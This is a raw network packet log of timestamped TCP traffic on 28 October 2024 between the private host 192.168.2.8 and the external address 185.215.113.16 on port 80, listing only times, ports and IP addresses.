Oct 28, 2024 07:18:46.446006060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446018934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446028948 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446043968 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446043968 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446048021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446058035 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446068048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446079016 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446079016 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446084976 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446095943 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446106911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446110964 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446120024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446131945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446150064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446160078 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446171045 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446173906 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446173906 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446182966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446211100 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446211100 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446219921 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446247101 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446259022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446271896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446284056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446295023 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446330070 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446362019 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446363926 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446376085 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446387053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.446489096 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.446510077 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.453011036 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.487464905 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.487499952 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.487567902 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.529731989 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529742956 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529755116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529850960 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.529870033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529881954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529894114 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529905081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529917955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529931068 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529942989 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529961109 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.529962063 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.530011892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543041945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543061972 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543073893 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543086052 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543112993 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543112993 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543392897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543405056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543411016 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543483973 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543495893 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543498039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543507099 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543557882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543622017 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543622017 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543652058 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543663025 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543679953 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543709040 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543723106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543731928 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543749094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543761015 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543772936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543783903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.543811083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543811083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543811083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543811083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.543857098 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.563683033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.563718081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.563731909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.563777924 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.563790083 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.563807964 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.563849926 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.564609051 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.564651966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.564662933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.564666986 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.564673901 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.564719915 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565140963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565208912 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565243959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565256119 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565267086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565279961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565291882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565293074 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565304041 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565327883 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565335035 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565335035 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565340042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565351963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565368891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565382004 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565392971 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565406084 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565409899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565409899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565418005 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565437078 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565454006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565454960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565468073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565479040 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565493107 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565515995 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565515995 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565542936 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565571070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565591097 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565602064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565618992 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565629005 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565634966 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565640926 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565653086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565660954 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565664053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565675974 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565685034 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565696955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565710068 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565722942 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.565730095 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565730095 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565730095 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.565790892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.648745060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648787975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648798943 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648869991 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.648885965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648907900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648920059 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648930073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648947954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648958921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648973942 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.648973942 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.648976088 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648987055 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.648998022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.649013996 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.649013996 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.649014950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.649028063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.649060965 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.649090052 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662009954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662019968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662049055 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662084103 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662086010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662184954 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662513018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662524939 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662537098 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662559032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662597895 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662600994 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662612915 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662643909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662652969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662652969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662656069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662667990 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662779093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662791014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662798882 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662801981 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662822008 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662833929 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662842035 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662862062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662872076 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662874937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662884951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.662893057 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.662986040 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.663352966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.663363934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.663579941 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.682667971 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.682688951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.682727098 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.682768106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.682784081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.682796001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.682806969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.682820082 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.682845116 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.683753014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.683765888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.683777094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.683819056 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.683887005 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684055090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684065104 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684075117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684127092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684138060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684149027 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684155941 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684207916 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684207916 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684704065 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684715986 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684726954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684737921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684751034 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684762955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684775114 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684784889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684798002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684808969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684813023 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684813023 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684849024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684851885 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684851885 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684864998 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684875965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684884071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684895039 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684900999 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684911013 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684916973 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684927940 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684937954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684950113 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684961081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684962034 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684962034 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684962034 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684973001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684983969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.684983015 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.684994936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.685007095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.685018063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.685020924 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.685020924 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.685030937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.685044050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.685050011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.685112953 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.727149010 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.768060923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768076897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768089056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768286943 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.768304110 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768321991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768332958 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768342972 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768361092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768372059 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768379927 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.768384933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768395901 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768408060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768419027 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.768460035 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.768460035 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781322002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781342030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781352997 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781394958 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781410933 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781497955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781563044 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781573057 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781583071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781613111 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781625986 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781666994 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781683922 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781696081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781719923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781733036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781744003 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781754017 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781754017 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781775951 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781882048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781917095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781933069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781944036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781955957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781966925 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.781976938 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.781996012 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.782044888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.782044888 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.782056093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.782075882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.782109022 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.782159090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.782171011 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.782222033 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.801872015 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.801883936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.801903009 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.801913977 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.801924944 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.801937103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.801954985 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.802005053 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.802879095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.802911997 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.802946091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.802957058 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.803136110 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.803203106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.803253889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.803288937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.803317070 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:46.803349972 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:46.803380966 CET	80	49717	185.215.113.16	192.168.2.8
